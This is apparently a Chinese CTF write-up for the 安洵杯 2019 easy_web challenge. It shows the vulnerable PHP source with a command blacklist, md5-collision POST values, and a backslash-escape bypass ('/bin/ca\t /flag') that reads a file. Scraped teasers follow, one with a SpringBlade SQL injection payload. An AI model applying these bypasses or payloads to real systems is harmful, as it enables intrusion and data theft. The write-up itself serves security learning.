夜幕下的灯火阑珊
夜幕下的灯火阑珊

[安洵杯 2019]easy_web

知识点

  • md5碰撞
  • 命令执行
  • 反斜杠逃逸

题目链接中出现

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

这个img两次base64解码后再转base16可以得到555.png
尝试将index.php进行base16编码和两次base64编码，得到

?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

得到源码


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "
";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

有md5碰撞，使用如下参数碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

使用dir命令扫当前文件夹，没发现flag，尝试读取根目录，发现flag文件
[安洵杯 2019]easy_web_第1张图片
cat命令被禁，注意到正则匹配

|\?|\\|\\\\|\n|实际上是|?|\|\\|\n|

此处反斜杠逃逸出来了
这里使用ca\t可以绕过，在linux下，ca\t命令同样也可以读取文件

?cmd=/bin/ca\t%20/flag

获取flag
[安洵杯 2019]easy_web_第2张图片

你可能感兴趣的:(md5碰撞,命令执行,逃逸)

  • SpringBlade dict-biz/list 接口 SQL 注入漏洞 文章永久免费只为良心 oracle数据库
    SpringBladedict-biz/list接口SQL注入漏洞POC:构造请求包查看返回包你的网址/api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,md5(1),0x7e),1)=1漏洞概述在SpringBlade框架中，如果dict-biz/list接口的后台处理逻辑没有正确地对用户输入进行过滤或参数化查询（PreparedSta
  • Linux sh命令 fengyehongWorld Linuxlinux
    目录一.基本语法二.选项2.1-c字符串中读取内容，并执行2.1.1基本用法2.1.2获取当前目录下失效的超链接2.2-x每个命令执行之前，将其打印出来2.3结合Here文档使用一.基本语法⏹Linux和Unix系统中用于执行shell脚本或运行命令的命令。sh[选项][脚本文件][参数...]⏹选项-c：从字符串中读取内容，并执行。-x：在每个命令执行之前，将其打印出来。-s：从标准流中读取内容
  • 2020-02-15 蔡卡
    我是蔡卡，爱看日漫和美剧，一眨眼就成了爸爸，喜欢孩子的我总想给孩子最好的，于是开始了我的探索之旅。不爱看书的我开始认真看书和参与各种团体，通过自我学习以及思想的碰撞从而形成自己的知识体系。分享才能更好的提升，生活中每遇到一个困难，都需要我们用所学的知识点去解决。我的使命:让更多家庭的孩子不因地域和阶层导致认知以及成长上的差距更大。__________________________________
  • python使用MD5 18.程序员 哈希算法算法
    一、要使用Python进行MD5加密，可以使用Python标准库中的hashlib模块。二、案例importhashlibstring="Hello,World!"#要进行加密的字符串hash_object=hashlib.md5(string.encode())#将字符串编码并进行MD5加密hash_hex=hash_object.hexdigest()#获取加密后的十六进制字符串print(h
  • 硬伤 半盏清风逐明月
    硬伤，一般是指某人或某组织存在的一些无法改变的软肋，通常作用在人体上，比如：智商是硬伤、身高是硬伤、相貌是硬伤、残疾是硬伤等。硬伤指在文学作品中的一些常识性错误。也指非软件性伤害，一般就是指人为损坏或者碰撞等发生的硬件损坏。也指科幻小说中的技术设定上无法自我圆满解释或者与当前科学技术理论有冲突矛盾的描述。科幻小说中的技术设定上，无法自我圆满解释或者与当前科学技术理论有冲突矛盾的描述。身高乃我硬伤！
  • discuz discuz_admincp.php 讲解,Discuz! 1.5-2.5 命令执行漏洞分析(CVE-2018-14729) weixin_39740419 discuz讲解
    0x00漏洞简述漏洞信息8月27号有人在GitHub上公布了有关Discuz1.5-2.5版本中后台数据库备份功能存在的命令执行漏洞的细节。漏洞影响版本Discuz!1.5-2.50x01漏洞复现官方论坛下载相应版本就好。0x02漏洞分析需要注意的是这个漏洞其实是需要登录后台的，并且能有数据库备份权限，所以比较鸡肋。我这边是用Discuz!2.5完成漏洞复现的，并用此进行漏洞分析的。漏洞点在：so
  • mysql 隐秘后门_【技术分享】CVE-2016-5483：利用mysqldump备份可生成后门 Toby Dai mysql隐秘后门
    预估稿费：100RMB投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿前言mysqldump是用来创建MySQL数据库逻辑备份的一个常用工具。它在默认配置下可以生成一个.sql文件，其中包含创建/删除表和插入数据等。在导入转储文件的时候，攻击者可以通过制造恶意表名来实现任意SQL语句查询和shell命令执行的目的。另一个与之相关的漏洞利用场景可以参考。攻击场景攻击者已经能够访问
  • 谭松韵妈妈被撞案8月31日开庭，节目里谈到妈妈时，谭松韵泪如雨下 茅山娱乐
    谭松韵妈妈被撞案8月31日开庭，节目里谈到妈妈时，谭松韵泪如雨下8月29日，有媒体报道，称谭松韵妈妈被撞身亡一案，将于8月31日在四川省叙永县人民法院公开开庭审理。资料图据悉，谭松韵的妈妈在2019年跨年夜当晚遭遇不幸，当晚结束聚会后，谭松韵的妈妈和朋友一起走在路上，却不幸被一个醉酒驾驶的人开车撞倒，当时肇事者还逃逸了。伤情很严重的谭妈妈虽然做了紧急开颅手术，但仍无力回天，守在妈妈身边二十多天的谭
  • navicate远程linux上的pgsql提示密码失败 coding上下求索 linux服务器数据库
    错误提示：FATAL:passwordauthenticationfailedforuser“postgres”解决方案：1、pg_hba.conf文件中，ipv4下面的内容改成hostallall0.0.0.0/0md52、postgresql.conf文件中，修改listen_addresses由#listen_addresses='location'改为listen_addresses='*
  • 基于Google authentic实现的双因子登录认证系统前后台基于SSMP+Vue+Element（解决SecureRandom造成的服务器请求缓慢） Tate_Brown gitJAVAIDEADEBUGVUE
    用md5两次加盐密码，可以灵活更换算法--直接上代码地址：JAVA后台：https://github.com/TateBrownJava/TwoFALogindemoBackendVue前端：https://github.com/TateBrownJava/TwoFALoginDemofrontend-------------------------------------------------
  • 头脑风暴的正确打开方式 hongl127
    我们对头脑风暴这个词并不陌生，我们能够看到一群人在会议室中进行的激烈而疯狂的头脑风暴。但是我们是否想过，一群人围在一起短时间内针对一个问题进行思想碰撞真的有效吗？怎么才是开展头脑风暴的正确方式呢？这里我将分享郝广才老师在《创意思维课》上介绍的内容，包括头脑风暴的四个原则、七个步骤和常见误区，以及开展真正有效头脑风暴的两个建议。头脑风暴必须要准守四个原则。原则一是，禁止批判。我们在开会的时候，不能批
  • 在生产环境中部署Elasticsearch：最佳实践和故障排除技巧——聚合与搜索（三） 不会编程的小孩子 elasticsearch大数据搜索引擎
    #在生产环境中部署Elasticsearch：最佳实践和故障排除技巧——聚合与搜索（三）前言文章目录前言-聚合和分析-执行聚合操作-1.使用JavaAPI执行聚合操作-2.使用CURL命令执行聚合操作-1.使用JavaAPI执行度量操作-2.使用CURL命令执行度量操作-使用缓存-调整分片大小和数量-使用搜索建议-结论-节点发现-负载均衡-故障转移-结论-访问控制-加密-身份验证-结论-RESTA
  • 亲子成长迹|第九篇 北草的天空
    改变自己的态度，孩子也会跟着改变。——题记上周是开学的第一周，我们经历了开学后的适应期，不论是大人还是孩子，都没有转变心态，依然松散的松散，忙碌的忙碌，所以当两个人碰撞的时候，便有了争执，有了叛逆，一个想要去管，一个反抗管，所以彼此大干几个回合，分不出输赢，还落得彼此心伤。看了老师发出来的教育视频之后，我猛然惊醒，原来，是我作为母亲没有了解她的心理，只是一味的按照自己的要求来控制她，所以她才会那么
  • 哎呀，当时怎么没有想到 京东云开发者 京东云云计算
    在我们的测试工作中，是不是经常遇到这样的情形，发生了线上问题，产品、研发或者测试同学一拍脑袋：当时怎么没有想到，怎么给漏掉了呢？明明是一个非常简单的事情，用大拇指都能想到的验证场景，为何当时就漏测了呢？但实际情况是，逃逸到线上的缺陷，疑难杂症式的极端异常的问题很少，大部分都不复杂且可以在设计和开发中规避，或者在测试过程中被识别出来。针对此类问题，从测试覆盖度的角度，本文试图解释一下为何会发生这样的
  • npm install 太慢？解决方法大揭秘 小柒笔记 npm前端node.js
    本文将详细介绍如何解决npminstall命令执行速度慢的问题。文章将涵盖npminstall命令执行慢的原因、优化方法以及实际应用案例。通过本文的学习，读者可以掌握提高npminstall命令执行速度的基本技巧，并在实际项目中得心应手。引言npminstall是Node.js项目开发中的常用命令，用于安装项目依赖。然而，在某些情况下，npminstall命令的执行速度可能会变得非常慢，这可能影响
  • matlab基础之脚本与函数 吱吱鼠叔 matlab学习（自用matlab数据结构算法
    脚本与函数MATLAB命令的两种执行方式：交互式命令执行方式程序执行要充分利用MATLAB数据结构的特点（矩阵运算、矢量化编程），充分利用MATLAB自带的函数M文件：是一个文本文件，拓展名为.m可以用任何编辑程序来建立和编辑，默认matlabM文件就是将处理问题的各种命令融合到一个文件中启动MATLAB编辑器的三种方法：“主页”选项中的新建脚本/双击已有文件/打开命令按钮命令行输入edit（既可
  • 在与牛人对话中成长 在独处思考中进步 水墨柒
    很庆幸生活在一个信息资讯爆炸的时代，让我们得以获得更多的选择，能够与尽可能多的人交流进行思想的碰撞。能够成就一番事业的人总是与比他们自己更加优秀的人为伍，在相互切磋、帮助、竞争下变得更强。印刷术的发明，对于知识的传承起到了巨大的推动作用。在历史上，人类文明的传承经历了口口相传到雕刻印刷、活字印刷等一系列的转变。在知识总量不多的阶段，时代的牛人也许还能够做到学遍古今，通天文，知地理，但在今天，估计谁
  • 当你的梦想与现实碰撞的时候 洋娃娃的甜品屋
    对于一个忙碌的早晨，今晨就是一个星期一，是一个超级忙碌的早晨，家庭里没有什么可以吃的东西了，基本都是我不能接受的东西，比如炒米饭啊，比如方便面啊，但是今晨确实没办法，家里只有一包超级大的方便面，于是这个就成为早餐主角了。这一方方便面拯救一个家庭的早餐，而且长时间我也是不做方便面，孩子们一般情况下是吃不到方便面的，我认为这个东西不健康，对于孩子增长没有好处，于是我家一年都吃不上一顿方便面的，只有是外
  • 汇川MD500 MD380变频器源码：C语言77版源码，高级算法SVC3，基于TMS320F28035实现新的高速、低波动转子电阻漏感辩识 eTwpkave 程序人生
    汇川MD500MD380变频器源码，C语言，77版源码77.54这比方案里边71.01版算法要高级新的SVC3算法，高速速度波动小，新的转子电阻，漏感辩识算法基于TMS320F28035.YID:9414683052110679后晋的香菇《汇川MD500MD380变频器源码技术分析》摘要：本文以汇川MD500MD380变频器源码为研究对象，分析了该源码的编写方式、功能特点以及应用场景。文章首先介绍
  • 2020-07-20【阅读营·习惯力】1-1 开营 s萤火虫之光
    【✨大师姐自荐✨】当崔律讲到“看到如此复杂的规则玩法时，你是如何想的？”时候，你有被戳中吗？看看我在这个过程中的心路历程，你是否也有同款呢？欢迎留言碰撞呦【精时力学习日志】本训练营：阅读营·习惯力今日主题：1-1开营学习日期：2020年7月20日1、[我学]今天在课程中的收获：本营的三本书籍：《如何想到又做到》、《坚持，一种可以养成的习惯》《习惯的力量》1.1习惯是什么？《习惯的力量》告诉我们，所
  • 昨日半马 中山国西湖
    前天晚上，在咸阳休假的跑友老黄回来了，昨天约跑一下，我说跑半马吧，结果他没回信息，等到昨天下午15.30汇合后，我问，半马？他说，最多15.这和我平时了解的老黄不一样呀！等跑起来后，边跑边聊才知道原因。原来上个月老黄回去休假第一天，也就是11月23号左右吧，就被要求居家隔离了，等隔离居家期间就是躺着玩手机，等结束后，准备出去跑步，在门口眼前一黑，摔倒了，后脑勺碰撞在门上，休克了大概一分钟才被叫醒，
  • 沟通智慧--与家长合作的艺术 Lethe不迷糊
    和谐的亲子关系，需要父母、子女的努力，而作为中间人的班主任，也可以对此有所作为。班主任可以从中协调，帮助家长提升对孩子的影响力，从而间接为家庭教育助力。（1）指导学生——引导学生主动与父母沟通：学生与家长之间发生矛盾，这是教育中的常见现象，但常见并不代表着我们可以视而不见，一推了之。班主任需要为此积极协调，从学生的真实问题出发，顺势引导，层层深入，让学生和家长不同的价值观念相互碰撞，并最终将学生孝
  • 26/365～你曾点燃过一盏油灯吗 世界尽头张
    你点燃桌前的油灯开始触怒这黑夜的权威笔下的墨水一刻不停歇想平息这白日的躁动剔凿着冰块融入这不倒翁杯里棕褐色的液体晶莹剔透微红的醉意催化着一切碰撞，战鼓，号角窗外的厮杀声此起彼伏灯焰也随之鼓舞闭目数息，关上灯侧身望向窗外天上已繁星璀璨这光影一直都在只是这暗夜让你忘记了它忘记了存在备注：希望你的故事里加上时间的维度，空间未变，在这千年前的战场，也是此刻的桌前，时间一直在流转图片发自App
  • 《底层逻辑》——锚定未来的四大策略 2022-04-24 蓝胖子精灵
    昨天是世界图书日，书籍真的是人类发展进程中里程碑的大发明了。只有书籍可以穿越时间和空间，记载上千年前的人类文明，也只有书籍才可以让我们和古人能够在书中进行思想的交流和碰撞。之前看个记录片《但是还有书籍》，里面讲述了很多平时我们并不知道事情，我们能拿到手里这本书，是通过了多少人一起努力才能够写完，出版，上架，推荐。今天这篇就是让你不要只关注眼下，让我们展望未来，提前准备-----锚定未来的四大策略：
  • Redis 管道(Pipeline)是什么？有什么用？ 程序猿ZhangSir redis数据库缓存
    目录1.redis客户端-服务端模型的不足之处2.redis管道是什么？有什么好处？3.管道的使用场景4.管道使用的注意事项1.redis客户端-服务端模型的不足之处众所周知，redis是一个客户端-服务端的模型设计，客户端向服务端发送存储数据的请求共分为四步(发送命令——>命令排队——>命令执行——>返回结果)，简单来说就是一问一答的交互方式，在等待返回结果的期间，通常是以阻塞的模式等待服务端响
  • 22天写作训练营D8---如何搭建文章逻辑框架 梁银苑
    写作是赋予心、身、灵过程写作是一次心身灵的过程。透过文字，使人与人的思维碰撞；令心与心的对话；赋予他人启发的过程……。优质的文章，是作者精心策划，不单题目吸睛，而且文章的逻辑架框非常清晰，一环扣一环，让读者紧跟着作者设计的思路，一步一步走进，产生共鸣。而新写手的文章，为何看一眼就不想继续看下去呢？两者差距在哪呢？如何改善呢？一、新手常犯问题新手想到哪写到哪，经常写着写着，写不下去，甚至写着写着跑题
  • 决战《三字经》小游戏程序文档 力江 游戏程序pythonpygamepip
    游戏简介“决战《三字经》”是一个基于Python编写的小游戏程序，旨在帮助玩家通过互动方式学习《三字经》中的内容。玩家需要控制上升的文字块，与下降的文字块碰撞并正确排序，以获得分数。游戏功能读取《三字经》文本文件：程序会读取预先准备的《三字经》文本文件，将其中的内容用于游戏中生成文字块。生成当前段落：根据游戏进度，程序会生成当前需要排序的文字块段落，供玩家操作。处理文字块碰撞：玩家控制上升的文字块
  • 《快乐再出发》：日常的快乐 晴窗待雪
    这一期的节目没有什么特别的环节，倒是出乎意料的碰撞。导演安排好的海边露营，只有风雨不停，帐篷都被吹垮了，导演准备的盒饭，却被他们觉得太贵了，开车出去吃，都是意料之外的惊喜。出去吃饭那时，他们的钱还不够，一路上还在调侃待会怎么挣钱，唱歌，刷碗……看着我们觉得待会该不会就是像其他综艺一下，和店家协商，然后唱唱歌，抵抵债，万万没想到的是苏醒钻了节目组的空子，拿出自己的钱，瞬时节目效果拉满，真有意思。加更
  • 探究车位对生活品质的影响 小号2213
    车位，不仅是让生活更加从容便捷，更是对城市的稀缺资源的一种占有。随着城市的发展，停车难的问题也日益明显，人口增加的同时，土地的使用面积在不断减少，可供停车的位置更加少之又少。悠闲有序是美好生活该有的样子，我们享受出入有车，交通便利。同时也面临车位紧缺的问题。越是人潮拥挤，越是一位难求。告别磕碰，安全无忧，不必担忧爱车会被剐蹭碰撞，从此再无纠纷事件。24小时视频监控，自持物业新城悦统一管理，保证安全
  • 好玩不止《黑神话：悟空》，最科技city walk 2024外滩大会等你来逛！ 蚂蚁数据 AntData 科技人工智能大数据金融业界资讯
    如果能穿越《黑神话:悟空》梦幻般数字仙境直接跳进一个未来科技的超级派对那会是怎样的体验？告诉你！这不是梦！2024年Incusion·外滩大会这里有好玩的、有趣的、最前沿的科技体验这不仅是科技爱好者的狂欢更是智慧与创意的大碰撞科技与智慧的深度共鸣穿越《黑神话：悟空》的绮丽梦境，让我们步入一场更为真实的智慧盛宴——「DATA+AI」见解论坛。这是一次从“DataforAI”到“AIforData”的
  • LeetCode[Math] - #66 Plus One Cwind javaLeetCode题解AlgorithmMath
    原题链接：#66 Plus One   要求： 给定一个用数字数组表示的非负整数，如num1 = {1, 2, 3, 9}, num2 = {9, 9}等，给这个数加上1。 注意： 1. 数字的较高位存在数组的头上，即num1表示数字1239 2. 每一位（数组中的每个元素）的取值范围为0~9   难度：简单   分析： 题目比较简单，只须从数组
  • JQuery中$.ajax()方法参数详解 AILIKES JavaScriptjsonpjqueryAjaxjson
    url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。 type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和    delete也可以使用，但仅部分浏览器支持。 timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局
  • JConsole & JVisualVM远程监视Webphere服务器JVM Kai_Ge JVisualVMJConsoleWebphere
        JConsole是JDK里自带的一个工具，可以监测Java程序运行时所有对象的申请、释放等动作，将内存管理的所有信息进行统计、分析、可视化。我们可以根据这些信息判断程序是否有内存泄漏问题。 　　使用JConsole工具来分析WAS的JVM问题，需要进行相关的配置。 　　首先我们看WAS服务器端的配置. 　　1、登录was控制台https://10.4.119.18
  • 自定义annotation 120153216 annotation
    Java annotation 自定义注释@interface的用法 一、什么是注释      说起注释，得先提一提什么是元数据(metadata)。所谓元数据就是数据的数据。也就是说，元数据是描述数据的。就象数据表中的字段一样，每个字段描述了这个字段下的数据的含义。而J2SE5.0中提供的注释就是java源代码的元数据，也就是说注释是描述java源
  • CentOS 5/6.X 使用 EPEL YUM源 2002wmj centos
    CentOS 6.X 安装使用EPEL YUM源1. 查看操作系统版本[root@node1 ~]# uname -a Linux node1.test.com 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [root@node1 ~]#
  • 在SQLSERVER中查找缺失和无用的索引SQL 357029540 SQL Server
    --缺失的索引 SELECT  avg_total_user_cost * avg_user_impact * ( user_scans + user_seeks ) AS PossibleImprovement ,          last_user_seek ,    
  • Spring3 MVC 笔记（二） —json+rest优化 7454103 Spring3 MVC
    接上次的 spring mvc 注解的一些详细信息！                          其实也是一些个人的学习笔记  呵呵！
  • 替换“\”的时候报错Unexpected internal error near index 1 \ ^ adminjun java“\替换”
    发现还是有些东西没有刻子脑子里,,过段时间就没什么概念了,所以贴出来...以免再忘...   在拆分字符串时遇到通过 \ 来拆分，可是用所以想通过转义 \\ 来拆分的时候会报异常   public class Main {          /*
  • POJ 1035 Spell checker(哈希表) aijuans 暴力求解--哈希表
    /* 题意：输入字典，然后输入单词，判断字典中是否出现过该单词，或者是否进行删除、添加、替换操作，如果是，则输出对应的字典中的单词 要求按照输入时候的排名输出 题解：建立两个哈希表。一个存储字典和输入字典中单词的排名，一个进行最后输出的判重 */ #include <iostream> //#define using namespace std; const int HASH =
  • 通过原型实现javascript Array的去重、最大值和最小值 ayaoxinchao JavaScriptarrayprototype
    用原型函数（prototype）可以定义一些很方便的自定义函数，实现各种自定义功能。本次主要是实现了Array的去重、获取最大值和最小值。 实现代码如下：   <script type="text/javascript"> Array.prototype.unique = function() { var a = {}; var le
  • UIWebView实现https双向认证请求 bewithme UIWebViewhttpsObjective-C
              什么是HTTPS双向认证我已在先前的博文 ASIHTTPRequest实现https双向认证请求 中有讲述，不理解的读者可以先复习一下。本文是用UIWebView来实现对需要客户端证书验证的服务请求，网上有些文章中有涉及到此内容，但都只言片语，没有讲完全，更没有完整的代码，让人困扰不已。但是此知
  • NoSQL数据库之Redis数据库管理(Redis高级应用之事务处理、持久化操作、pub_sub、虚拟内存) bijian1013 redis数据库NoSQL
    3.事务处理         Redis对事务的支持目前不比较简单。Redis只能保证一个client发起的事务中的命令可以连续的执行，而中间不会插入其他client的命令。当一个client在一个连接中发出multi命令时，这个连接会进入一个事务上下文，该连接后续的命令不会立即执行，而是先放到一个队列中，当执行exec命令时，redis会顺序的执行队列中
  • 各数据库分页sql备忘 bingyingao oraclesql分页
    ORACLE 下面这个效率很低 SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_FS_RETURN order by id desc) A ) WHERE RN <20; 下面这个效率很高 SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_
  • 【Scala七】Scala核心一：函数 bit1129 scala
    1. 如果函数体只有一行代码，则可以不用写{},比如 def print(x: Int) = println(x) 一行上的多条语句用分号隔开，则只有第一句属于方法体，例如   def printWithValue(x: Int) : String= println(x); "ABC"   上面的代码报错，因为，printWithValue的方法
  • 了解GHC的factorial编译过程 bookjovi haskell
    GHC相对其他主流语言的编译器或解释器还是比较复杂的，一部分原因是haskell本身的设计就不易于实现compiler，如lazy特性，static typed，类型推导等。 关于GHC的内部实现有篇文章说的挺好，这里，文中在RTS一节中详细说了haskell的concurrent实现，里面提到了green thread，如果熟悉Go语言的话就会发现，ghc的concurrent实现和Go有点类
  • Java-Collections Framework学习与总结-LinkedHashMap BrokenDreams LinkedHashMap
            前面总结了java.util.HashMap，了解了其内部由散列表实现，每个桶内是一个单向链表。那有没有双向链表的实现呢？双向链表的实现会具备什么特性呢？来看一下HashMap的一个子类——java.util.LinkedHashMap。       
  • 读《研磨设计模式》-代码笔记-抽象工厂模式-Abstract Factory bylijinnan abstract
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ package design.pattern; /* * Abstract Factory Pattern * 抽象工厂模式的目的是： * 通过在抽象工厂里面定义一组产品接口，方便地切换“产品簇” * 这些接口是相关或者相依赖的
  • 压暗面部高光 cherishLC PS
    方法一、压暗高光&重新着色 当皮肤很油又使用闪光灯时，很容易在面部形成高光区域。 下面讲一下我今天处理高光区域的心得： 皮肤可以分为纹理和色彩两个属性。其中纹理主要由亮度通道（Lab模式的L通道）决定，色彩则由a、b通道确定。 处理思路为在保持高光区域纹理的情况下，对高光区域着色。具体步骤为：降低高光区域的整体的亮度，再进行着色。 如果想简化步骤，可以只进行着色（参看下面的步骤1
  • Java VisualVM监控远程JVM crabdave visualvm
    Java VisualVM监控远程JVM    JDK1.6开始自带的VisualVM就是不错的监控工具. 这个工具就在JAVA_HOME\bin\目录下的jvisualvm.exe, 双击这个文件就能看到界面   通过JMX连接远程机器, 需要经过下面的配置: 1. 修改远程机器JDK配置文件 (我这里远程机器是linux).    
  • Saiku去掉登录模块 daizj saiku登录olapBI
    1、修改applicationContext-saiku-webapp.xml <security:intercept-url pattern="/rest/**" access="IS_AUTHENTICATED_ANONYMOUSLY" />  <security:intercept-url pattern=&qu
  • 浅析 Flex中的Focus dsjt htmlFlexFlash
    关键字：focus、 setFocus、 IFocusManager、KeyboardEvent 焦点、设置焦点、获得焦点、键盘事件 一、无焦点的困扰——组件监听不到键盘事件 原因：只有获得焦点的组件（确切说是InteractiveObject）才能监听到键盘事件的目标阶段；键盘事件（flash.events.KeyboardEvent）参与冒泡阶段，所以焦点组件的父项（以及它爸
  • Yii全局函数使用 dcj3sjt126com yii
    由于YII致力于完美的整合第三方库，它并没有定义任何全局函数。yii中的每一个应用都需要全类别和对象范围。例如，Yii::app()->user;Yii::app()->params['name'];等等。我们可以自行设定全局函数，使得代码看起来更加简洁易用。(原文地址) 我们可以保存在globals.php在protected目录下。然后，在入口脚本index.php的，我们包括在
  • 设计模式之单例模式二（解决无序写入的问题） come_for_dream 单例模式volatile乱序执行双重检验锁
                    在上篇文章中我们使用了双重检验锁的方式避免懒汉式单例模式下由于多线程造成的实例被多次创建的问题，但是因为由于JVM为了使得处理器内部的运算单元能充分利用，处理器可能会对输入代码进行乱序执行（Out Of Order Execute）优化，处理器会在计算之后将乱序执行的结果进行重组，保证该
  • 程序员从初级到高级的蜕变 gcq511120594 框架工作PHPandroidhtml5
    软件开发是一个奇怪的行业，市场远远供不应求。这是一个已经存在多年的问题，而且随着时间的流逝，愈演愈烈。 我们严重缺乏能够满足需求的人才。这个行业相当年轻。大多数软件项目是失败的。几乎所有的项目都会超出预算。我们解决问题的最佳指导方针可以归结为——“用一些通用方法去解决问题，当然这些方法常常不管用，于是，唯一能做的就是不断地尝试，逐个看看是否奏效”。 现在我们把淫浸代码时间超过3年的开发人员称为
  • Reverse Linked List hcx2013 list
    Reverse a singly linked list.   /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode(int x) { val = x; } * } */ p
  • Spring4.1新特性——数据库集成测试 jinnianshilongnian spring 4.1
    目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
  • C# Ajax上传图片同时生成微缩图(附Demo) liyonghui160com
        1.Ajax无刷新上传图片,详情请阅我的这篇文章。（jquery + c# ashx）         2.C#位图处理  System.Drawing。         3.最新demo支持IE7,IE8,Fir
  • Java list三种遍历方法性能比较 pda158 java
    从c/c++语言转向java开发，学习java语言list遍历的三种方法，顺便测试各种遍历方法的性能，测试方法为在ArrayList中插入1千万条记录，然后遍历ArrayList，发现了一个奇怪的现象，测试代码例如以下： package com.hisense.tiger.list; import java.util.ArrayList; import java.util.Iterator;
  • 300个涵盖IT各方面的免费资源（上）——商业与市场篇 shoothao seo商业与市场IT资源免费资源
    A.网站模板+logo+服务器主机+发票生成 HTML5 UP:响应式的HTML5和CSS3网站模板。 Bootswatch:免费的Bootstrap主题。 Templated:收集了845个免费的CSS和HTML5网站模板。 Wordpress.org|Wordpress.com:可免费创建你的新网站。 Strikingly:关注领域中免费无限的移动优
  • localStorage、sessionStorage uule localStorage
    W3School 例子   HTML5 提供了两种在客户端存储数据的新方法： localStorage - 没有时间限制的数据存储 sessionStorage - 针对一个 session 的数据存储   之前，这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储，因为它们由每个对服务器的请求来传递，这使得 cookie 速度很慢而且效率也不
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他